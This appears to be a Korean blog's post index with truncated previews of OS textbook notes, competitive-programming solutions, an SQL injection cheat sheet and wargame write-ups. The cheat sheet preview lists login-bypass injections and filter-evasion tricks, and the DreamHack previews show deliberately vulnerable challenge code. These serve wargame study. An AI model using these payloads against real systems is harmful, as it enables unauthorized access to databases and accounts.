본문 바로가기

전체 글

(133)
[Operating System Concept] Operating System Structures - Chapter 2 운영체제 관련 책들 중 공룡책으로 유명한 Operating System Concepts 책을 정리하고자 합니다. 현재 정리하고자 하는 책은 10th edition이며 책에 나와있는 그림을 포함하고 있습니다. https://www.os-book.com/OS10/ Operating System Concepts - 10th edition www.os-book.com Opearting System Services 운영체제는 위 그림과 같이 구성되어있으며, 사용자에게 다양한 기능들을 제공합니다. 흔히 사용자들은 user interface인 GUI, touch screen, command line을 통해 서비스를 이용하며, 운영체제가 제공하는 서비스들에 직접 접근하여 사용하지 않고, system call을 통해 해..
[백준 17780 C++] 새로운 게임 새로운 게임 문제 링크 (BOJ 17780번 문제): https://www.acmicpc.net/problem/17780 17780번: 새로운 게임 재현이는 주변을 살펴보던 중 체스판과 말을 이용해서 새로운 게임을 만들기로 했다. 새로운 게임은 크기가 N×N인 체스판에서 진행되고, 사용하는 말의 개수는 K개이다. 말은 원판모양이고, 하 www.acmicpc.net 문제 풀이 *실수하면 안되는 부분* 턴 한 번은 1번 말부터 K번 말까지 순서대로 이동시키는 것이다. 한 말이 이동할 때 위에 올려져 있는 말도 함께 이동하며, 가장 아래에 있는 말만 이동할 수 있다. 말의 이동 방향에 있는 칸에 따라서 말의 이동이 다르며 아래와 같다. 턴이 진행되던 중에 말이 4개 이상 쌓이는 순간 게임이 종료된다. 1. 바..
[백준 10021 C++] Watering the Fields Watering the Fields 문제 링크 (BOJ 10021번 문제): https://www.acmicpc.net/problem/10021 10021번: Watering the Fields Input Details There are 3 fields, at locations (0,2), (5,0), and (4,3). The contractor will only install pipes of cost at least 11. Output Details FJ cannot build a pipe between the fields at (4,3) and (5,0), since its cost would be only 10. He therefore b www.acmicpc.net 문제 설명 BOJ 10021번..
[백준 10986 C++] 나머지 합 백준 10986번 나머지 합 문제 링크 https://www.acmicpc.net/problem/10986 10986번: 나머지 합 수 N개 A1, A2, ..., AN이 주어진다. 이때, 연속된 부분 구간의 합이 M으로 나누어 떨어지는 구간의 개수를 구하는 프로그램을 작성하시오. 즉, Ai + ... + Aj (i ≤ j) 의 합이 M으로 나누어 떨어지는 (i, j) www.acmicpc.net 문제 풀이 백준 10986번 나머지 합 문제는 누적합을 이용한 문제로 [i, j] 구간 합이 M 으로 나누어 떨어지는 경우의 수를 세는 문제입니다. 해당 문제를 모든 구간 합을 구해서 M으로 나눌 경우, 시간 초과가 발생하게 됩니다. 그 이유는 N 값이 10^6 이기 때문에 O(N^2) 방법으로는 문제를 해결할..
Cheat Sheet - SQL Injection 1. 기본 ' or 1=1 # ' or '1'='1 2. 공백 필터링 (old-18) /**/ (주석) () (괄호) + (더하기) %09 (\t) %0a (\n) 3. 주석 (old-50) -- # /**/ 예제) 공백 필터 및 md5 주석 처리 select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}') select lv from chall50 where id=''/*' and pw=md5('*/union/**/select/**/3#') 4. admin 문자열 필터링 (old-45) reverse("nimda") 0x61646d696e char(97, 100, 109, 105, 110) 0b01100001011001000110..
[DreamHack] Format String Bug https://dreamhack.io/wargame/challenges/356/ Format String Bug Description Exploit Tech: Format String Bug에서 실습하는 문제입니다. dreamhack.io 난이도: Level 1 // Name: fsb_overwrite.c // Compile: gcc -o fsb_overwrite fsb_overwrite.c #include #include #include void get_string(char *buf, size_t size) { ssize_t i = read(0, buf, size); if (i == -1) { perror("read"); exit(1); } if (i 0 && buf[i..
[DreamHack] Return to Library https://dreamhack.io/wargame/challenges/353/ Return to Library Description Exploit Tech: Return to Library에서 실습하는 문제입니다. dreamhack.io 난이도: Level 1 // Name: rtl.c // Compile: gcc -o rtl rtl.c -fno-PIE -no-pie #include #include const char* binsh = "/bin/sh"; int main() { char buf[0x30]; setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); // Add system function to plt's entry system("echo ..
[Webhacking.kr] old-08 https://webhacking.kr/challenge/web-08/ Challenge 8 webhacking.kr 문제 코드